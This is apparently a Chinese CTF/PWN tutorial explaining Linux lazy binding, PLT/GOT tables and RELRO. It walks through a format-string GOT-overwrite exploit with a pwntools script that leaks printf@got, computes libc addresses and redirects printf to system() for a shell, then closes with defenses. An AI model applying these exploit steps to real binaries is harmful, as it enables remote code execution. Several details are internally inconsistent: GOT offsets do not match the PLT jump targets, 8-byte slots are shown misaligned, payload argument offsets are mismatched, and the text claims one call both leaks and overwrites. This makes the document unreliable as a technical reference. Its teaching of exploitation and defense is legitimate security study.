1. 从一道CTF题说起:为什么函数第一次调用那么慢
新手入坑PWN时,最先接触的往往是栈溢出、shellcode、ROP这一类基于代码执行流的攻击方式。但很快就会发现,真正的利用环节里,有一块绕不开的“基础设施”——动态链接。大多数Linux二进制程序编译时默认使用动态链接,而动态链接背后的延迟绑定机制,既是程序启动性能的功臣,也是漏洞利用者的天然跳板。
我最早意识到这东西不简单,是在一次模拟CTF环境里碰到的某道题:程序本身逻辑极简,一个栈溢出配合read函数读入数据。但麻烦在于,溢出后没法直接跳到system,程序里根本没有这个函数。当时有人提示了一句“改GOT”,我盯着二进制看了很久,才搞清楚PLT、GOT、延迟绑定这三者之间的关系。从那之后,我对所有PWN题的审视角度都变了——不再只盯着栈上数据,而是会先看一眼程序的动态链接结构。
这里先给没接触过的读者兜个底:PLT(Procedure Linkage Table)是过程链接表,GOT(Global Offset Table)是全局偏移表。延迟绑定(Lazy Binding)指的是函数第一次被调用时才解析真实地址,而不是在程序启动时一口气全部解析完。这个机制的设计初衷是为了加快程序启动速度,但在安全视角下,它直接决定了一个经典利用手段是否成立——GOT覆写。
这篇文章会把延迟绑定的原理、PLT/GOT的实际形态、RELRO防护带来的变化,以及一次完整的GOT覆写利用串起来讲一遍。内容偏基础但尽量讲透,适合刚入门PWN、或者对动态链接一知半解想补课的读者。
2. 延迟绑定到底延迟了什么:一个模块装载的生活类比
想理解延迟绑定,得先理解一个看似矛盾的问题:动态链接的程序在运行时,怎么知道某个函数的地址?
程序是编译后的机器码,机器码里写的是相对地址或者绝对地址。如果编译期就能确定所有地址,那就叫静态链接,生成的文件巨大,但启动极快。动态链接走的是另一条路:程序运行时由动态链接器(ld.so)把共享库装载进内存,然后找到函数地址填到某个地方,机器码跳过去执行。
问题来了:一个大型程序可能引用了成百上千个库函数,如果启动时全部分析、查地址、重定位,启动时间会非常可观。Linux的解法就是延迟绑定:先不查,等函数真正被用到的那一次,再去查地址,查完缓存下来。
打个比方,这就像一个大型写字楼的访客登记制度。如果每天早上把所有可能来访的人都验证一遍身份、录入门禁,那上班高峰会堵得水泄不通。更聪明的做法是:第一次有人拜访某家公司时,前台打电话确认、登记、放行,之后这个人再来就直接刷卡进门。延迟绑定就是这个“第一次确认,之后免检”的机制。
在这个机制里,程序里对库函数的调用,表面上走的是一条“先到PLT去转一圈”的路径。PLT里有一段很小的桩代码,第一次执行时会跳转到GOT表项,但这个表项里存的还不是真实函数地址,而是一个回退地址,指向动态链接器的解析函数。解析完成后再把真实地址写回GOT,后续调用就直接跳真实地址了。
理解这个流程,就能解释一个很多新手疑惑的现象:同一个函数,第一次调用和后续调用的开销差别很大。第一次调用因为要触发解析,会额外走一遍复杂的查找流程,后面就只是一条间接跳转的事。
3. PLT和GOT的真身:用readelf把二进制看穿
纸上谈兵没意思,直接开一个真实二进制来看结构。以下命令和输出,建议你手头有Linux环境时跟着敲一遍。
先用一个最简单的C程序做演示:
#include <stdio.h> #include <string.h> int main() { char buf[16]; strcpy(buf, "hello"); printf("%s\n", buf); return 0; }编译时不要加-static,并且建议-fno-pie关闭地址无关,这样输出更直观:
gcc -o demo demo.c -fno-pie -no-pie然后查看动态符号表:
readelf -s demo | grep -E "strcpy|printf"你会发现这两个函数都出现在符号表里,但仔细观察它们的类型,一个是FUNC,但它们的地址区是“UND”——undefined,也就是未定义。真正解析地址的工作留给了运行动态链接器。
接着看PLT和GOT:
objdump -d demo | grep -A5 "<strcpy@plt>"输出大致是这个形态:
0000000000401030 <strcpy@plt>: 401030: ff 25 12 00 00 00 jmp *0x401042 401036: 68 00 00 00 00 push $0x0 40103b: e9 c0 ff ff ff jmp 0x401000这三条指令是整个延迟绑定机制的心脏:
- 第一条
jmp *0x401042,跳转到GOT里对应strcpy的项。如果是第一次调用,GOT项里存的是一个回退地址,其实就是下一条指令的地址(0x401036)。 - 第二条
push $0x0,压入一个重定位偏移号,告诉动态链接器“我要找的是哪个符号”。 - 第三条
jmp 0x401000,跳转到PLT的公共桩(PLT0),这个桩负责调用动态链接器的_dl_runtime_resolve。
这里有一个非常经典的细节:GOT项初始值与其说是“地址”,不如说是一个“回旋镖”。它指向PLT桩代码的中间位置,确保第一次调用时能把控制流引导到解析流程。解析完成后,动态链接器把真实函数地址写回这个GOT项,第二次调用再走到jmp *GOT项时,就直接抵达真正的strcpy了。
同样的,printf也会有对应的一套PLT桩和GOT项。每个被引用到的外部函数都占用一份这样的“跳板+槽位”。
3.1 GOT表项的顺序就是重定位表项的索引
刚才的push $0x0里,那个0x0不是随意写的,它就是strcpy在重定位表中的索引。动态链接器拿到这个索引后,从重定位表中查出需要重定位的符号信息、计算真实地址、回填GOT。整个过程一气呵成。
查看重定位表:
readelf -r demo你会看到类似这样的信息:
Relocation section '.rela.plt' ... 00000060042 000200000007 R_X86_64_JUMP_SLOT 0000000000000000 strcpy + 0 00000060048 000300000007 R_X86_64_JUMP_SLOT 0000000000000000 printf + 0注意这里的偏移0x60042和0x60048,它们对应的正是上一节里PLT指令跳转的目标地址。也就是说,PLT桩里写死了每个函数对应的GOT槽位地址。
在64位系统下,GOT表项按8字节对齐,所以strcpy的GOT槽在0x60042,printf的在0x60048,两个相邻槽位相差8字节。这个结构在GOT覆写利用里极其重要——你写入GOT的数据会直接控制后续的函数调用跳转。
3.2 为什么PLT要先jmp再push再jmp,不能一步到位
有人可能会问:既然GOT槽里最终存的是真实函数地址,为什么不直接在函数调用点上通过GOT跳转,非要先跳PLT?
原因是兼容性和统一入口。调用点的机器码在编译时确定,它只知道“遇到strcpy就去PLT找那个固定桩”。PLT桩做一次间接跳转,绕一下GOT,是为了让同一个函数的所有调用点都能共享一套解析逻辑。如果每个调用点各自处理GOT,二进制体积和重定位复杂度都会上升。
这个设计在安全上也有一个副作用:攻击者只要控制了某个GOT槽,所有通过PLT桩跳转的调用点都会被劫持,而不用逐个修改调用点机器码。这也是为什么GOT覆写是PWN里历史悠久且高效的利用手段。
4. 延迟绑定与漏洞利用的关系:攻击者怎么把它变成跳板
搞清楚了机制,就该聊利用。GOT覆写的思路概括成一句话:找一处可控的内存写入漏洞,往某个函数的GOT槽里写入system或者one_gadget的地址,等程序下一次调用这个函数时,利用也就触发了。
但这里有个问题:延迟绑定导致GOT槽在第一次调用后被填成真实地址,那攻击者写入的时机和处理方式就很关键。如果攻击发生在函数第一次调用之前,GOT槽还指向PLT的解析回退地址,此时写入攻击地址,下一次调用就直接跳攻击地址;如果攻击发生在函数调用之后,GOT槽存的是真实解析地址,覆写同样有效——真实地址被换成攻击地址,下一次调用直接跳攻击地址。两种情况下,GOT覆写都成立,区别只在于你覆盖的是“未解析的占位值”还是“已解析的真实地址”。
更常见的利用场景是:先通过格式化字符串、栈溢出、堆溢出等漏洞泄露某个GOT项内容,计算出libc基址,然后再次利用漏洞覆写另一个GOT项为system地址,最后触发一个带参数的系统命令调用链。
4.1 从printf@got入手的一次完整利用
在真实CTF环境中,我经常遇到的一个典型流程是:程序存在格式化字符串漏洞,而且主逻辑里会循环执行printf。这样就有了反复利用的机会。
第一步,用格式化字符串泄露printf@got的内容。格式化字符串里的%p可以逐个试探栈上参数,找到第几个参数位正好对应你布局的地址,通常用%n$p直接命中。泄露出来后,你就是拿到了printf在libc里的真实地址。
第二步,拿这个地址减去libc中printf的偏移,得到libc基址。然后基址加上system的偏移,算出system在本次运行环境中的真实地址。
第三步,再次利用格式化字符串的%n写能力,把system地址拆成两个或者多个半字写入printf@got。64位地址是8字节,一次写8字节不现实,常规做法是分两次写低4字节和高4字节,用%hn写2字节更加稳定。
等程序下一次调用printf时,实际上执行的是system。如果调用printf时的第一个参数恰好是我们可控的字符串,比如程序流程里有个printf(buf)而不是printf("%s", buf),那就直接拿到了命令执行。
4.2 为什么要挑printf、strlen这类函数下手
在目标函数的选择上,不是随便选一个都行。业内默认喜欢打strlen、printf、puts、free这几个,因为它们有几个共同特点:
- 调用频率高,被调用几乎是必然的,触发时机可控。
- 很多题目里它们的参数直接或间接来自用户输入,方便布置。
- 替换成system后,第一个参数天然会被当作命令字符串处理。
比如比较经典的堆利用场景,程序在输出堆块内容前调用strlen确定长度,攻击者把堆块内容覆盖成“/bin/sh”并劫持strlen@got为system,那么strlen在计算长度时会直接执行/bin/sh。这招在堆题里屡试不爽。
还有一个容易踩的坑:格式化字符串漏洞的偏移不是固定的。同一个程序,在不同编译选项、不同环境、不同入场路径下,偏移都可能有变化。网上很多教程会直接给出“偏移是7”之类的结论,但你自己做题时应先调试,不要盲目套用。
5. RELRO防护下的延迟绑定:格局变了但没完全变
看到这里你可能觉得GOT覆写太强了,不少防御机制也因此诞生。RELRO就是专门针对GOT攻击设计的缓解措施。
RELRO分两种模式:
- Partial RELRO:
.got段只读,但.got.plt段仍然是可写的。注意,我们前面提到的那些函数GOT槽位,大部分恰恰就在.got.plt里,所以Partial RELRO下GOT覆写依然成立。 - Full RELRO:链接器启动时完成全部重定位,然后把整个GOT段设为只读。延迟绑定被完全关闭,GOT覆写彻底失效。
查看编译选项:readelf -l或者checksec工具都能确认RELRO状况。一个现代编译默认选项中,如果开了-z relro -z now,就是Full RELRO;默认的-z relro是Partial RELRO。
这就带来一个残酷的现实:在高版本编译器和现代系统默认加固下,传统GOT覆写在Full RELRO面前撞了南墙。但这不代表延迟绑定相关的利用就没了出口。Full RELRO关闭了GOT写入,但程序运行时内存里可写的控制结构还有很多:函数指针、栈上的返回地址、堆上的hook函数指针……思路从“覆写GOT”扩展成“寻找可写的间接跳转目标”。
5.1 没有延迟绑定之后,攻击者转移战场
在Full RELRO环境下,比较常见的利用路径包括:
- 覆写
__free_hook、__malloc_hook这类libc内部的可写函数指针,等malloc/free触发时劫持控制流。 - 覆写栈上的返回地址,直接ROP。
- 覆写vtable或者函数指针结构体,在C++程序里非常常见。
这些在原理上已经和延迟绑定无关,但它们的灵感恰恰来自GOT覆写——找出一个“数据被写入,指令流被读取”的交汇点。从这个角度看,理解延迟绑定、理解PLT/GOT,不只是为了复现一个老利用,更是为了建立这种“寻找交汇点”的思维模型。
5.2 延迟绑定没有消失:攻击面依然存在
需要提醒的一点是:现实中大量老程序、CTF出题的传统C程序、嵌入式设备固件,仍然使用Partial RELRO甚至无RELRO。这意味着GOT覆写不是历史古董,仍然时有出现。很多2020年以后的CTF题故意先让你越权改写GOT,你以为没戏,结果程序检查后发现是Partial RELRO,还是能打。
所以在新学PWN时,不要一上来就觉得GOT覆写过时了。相反,它是最能锻炼你对动态链接机制理解的技术,理清它之后再去看堆利用、堆原语,视野会开阔很多。
6. 实操演练:从零完成一次基于延迟绑定的GOT覆写
讲完原理,上点硬菜。用一段最简单的可复现代码,完整走一遍GOT覆写的利用流程。这个例子我改写过好几次,用来带新人入门非常合适。
先看题目程序(代码故意简化,只保留核心逻辑):
#include <stdio.h> #include <string.h> #include <unistd.h> void vuln() { char buf[100]; printf("Input: "); read(0, buf, 200); printf(buf); printf("\n"); } int main() { setbuf(stdout, NULL); vuln(); }漏洞点很明显:printf(buf)是格式化字符串漏洞。程序流程只调用了printf、read、setbuf、strlen这几个函数,其中strlen在printf内部自定义实现里有可能被调用,但不影响我们的利用。
编译选项:
gcc -o fmt fmt.c -fno-pie -no-pie确认一下:
checksec --file=fmt如果你的checksec版本正常,应该看到Partial RELRO。这意味着.got.plt可写。
6.1 第一步:确定格式化字符串偏移
输入一堆%p试探:
./fmt <<< "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"看输出,找到0x41414141(也就是AAAA的十六进制)出现在第几个参数位。在我这个环境里,偏移是7。每个人的环境可能有差异,以你自己实际输出的位置为准。
如果偏移不是7,可以用%7$p、%8$p这种方式快速试探,找到命中的位置。
6.2 第二步:泄露libc地址
构造payload,让第7个参数位指向printf@got:
from pwn import * context.arch = 'amd64' p = process('./fmt') elf = ELF('./fmt') printf_got = elf.got['printf'] payload = b'%7$s' + b'xxxx' + p64(printf_got) p.recvuntil(b'Input: ') p.sendline(payload) leak = p.recvuntil(b'\n') # 注意:%s 会从 printf_got 地址读取字符串,实际读到的是 GOT 里面的8字节地址的低位部分 # 所以通常用 %7$s 读,取前6字节补全 printf_addr = u64(leak[:6].ljust(8, b'\x00')) print('printf addr:', hex(printf_addr))这里有个细节:%s在格式化字符串里会把对应参数当作字符串指针,读取以\0结尾的内存。GOT里存的是8字节地址,但前6个字节已经包含了地址有效部分,后面的\0会截断,所以最多读到6个字节。我们u64的时候补\x00即可。
得到printf真实地址后,需要先知道目标libc的版本。在模拟环境里,通常直接算偏移:
# 本地调试一般先看当前进程的libc映射或者本地libc符号表 readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " printf@@"printf偏移出来后,libc基址就是printf_addr - printf_offset。然后查system偏移,算出system_addr。
6.3 第三步:覆写printf@got为system
程序只执行一次vuln,所以我们要利用这唯一一次格式化字符串机会同时完成泄露和覆写。这一步稍复杂,需要把地址放在栈上,然后通过%n写入。
构造思路:在payload开头布置两个GOT地址(printf@got地址A、printf@got+2地址B),然后用%n分别向它们写入两次,写入的字节数对应system地址的低位两个半字的十进制值。
system_addr = libc.symbols['system'] + libc_base # 拆成两个16位数(%hn) low = system_addr & 0xffff high = (system_addr >> 16) & 0xffff payload = b'' payload += p64(printf_got) payload += p64(printf_got + 2) # 让格式化字符串的第7个参数指向第一个地址 # 通过 %[N]c 控制写入长度,再 %n 写入 payload += f'%{low}c%7$hn'.encode() payload += f'%{high - low}c%8$hn'.encode()注意处理一个坑:high - low如果小于0,会导致填充长度错乱。一般处理是先写较大值再写较小值,或者写成两次都基于一个固定大数。比较稳妥的办法是确保 low < high,不然就用%high-low这种负数填充会出现不可预期行为。所以我通常先写低位,再写高位,但中间要计算差值,务必保证差值非负。
如果两个半字的大小关系反了,可以用%lln、%hhn等手法拆得更细,但初次练习尽量保证两个数递增。
6.4 第四步:触发
payload发送后,程序会执行printf(buf),此时printf已经被替换成system,参数buf会被当成命令执行。如果想拿shell,payload末尾放一句cat flag或者直接构造/bin/sh让system弹出shell。
但这里还有一个常见问题:替换生效后,原来的printf(buf)已经变成system(buf),system会尝试执行buf里的内容。所以payload本身不能是二进制格式,否则会执行失败。这也是为什么很多人需要把命令字符串拼在payload里,比如以;cat flag或者;/bin/sh开头,确保payload被当成shell命令接受。
我在一次模拟环境中,用这种手法直接拿到了flag,整个流程走下来也就几十行脚本。GOT覆写确实老,但老东西发挥威力时给人的那种“原来机制是这样被利用的”顿悟感,是很多新技巧替代不了的。
7. 延迟绑定的防御与检测:不该只想怎么打,还得知道怎么挡
从防守方视角看,延迟绑定相关的攻击并非无解。系统层面和编译层面都有成熟对策:
- Full RELRO如前所述,关闭延迟绑定,同时GOT只读。
- ASLR让libc地址随机化,泄露基址的难度提升。
- PIE让程序自身基址随机化,GOT地址也不是固定值。
这几条叠加后,GOT覆写的利用门槛明显提高。但注意,它们管得了内存地址随机化,管不了信息泄露——只要格式化字符串或越界读存在,随机化就只是增加步骤,不是终结利用。
写工具的人在检测侧也有不少工作。例如运行时的动态插桩工具可以监控GOT表项是否被写入;_dl_runtime_resolve的调用参数可以被hook,用来报警异常重定位;静态扫描工具则会在二进制里寻找 “格式化字符串 + GOT地址布局” 的特征。这些手段在CTF里作用有限,但放在真实产品里,配合沙箱和监控链路,能有效阻断一大部分自动化的GOT攻击尝试。
我在实际做二进制加固方案时,最深的体会是:防GOT覆写不能只依赖RELRO,还得靠“让敏感数据不可写、让指针不可预测、让异常控制流可被观测”的三层组合。单一手段永远有漏洞,但组合起来,攻破成本会指数级上升。
8. 写在最后:延迟绑定值得你花一个下午彻底搞懂
对于刚进PWN坑的朋友,我建议不要急着刷堆题,先把这一套动态链接机制亲手走一遍。写个小程序、看readelf、看objdump、自己写一次GOT覆写利用,这个过程花不了太多时间,但对后续理解代码重用攻击、理解hook机制、理解各类信息泄露的目的,都有很大的帮助。
我在指导新人的时候,总喜欢问一个问题:如果程序是Full RELRO,你还能不能在不开新漏洞的情况下完成利用?这个问题的答案,会逼着你思考“还有哪些可写的控制面”“还有哪些间接跳转可以被篡改”。答得出这个问题,你对PWN的认知就不再是背exp,而是真正理解攻击面了。
另外,做实验时建议在隔离的模拟环境里进行。用docker或者虚拟机自建一个专门的分析环境,不要在生产服务器或者别人的机器上做这类测试。信息安全技术本身是中性的,关键是使用场景和边界。
最后再分享一个我自己调试时常用的习惯:拿到一个目标二进制,先不看PWN逻辑,先跑一次checksec,再看readelf -r,心里先有个谱——RELRO是什么状态、哪些GOT槽存在、栈是否可执行。这一步做完了,很多时候还没开始逆向,心里已经有七成把握了。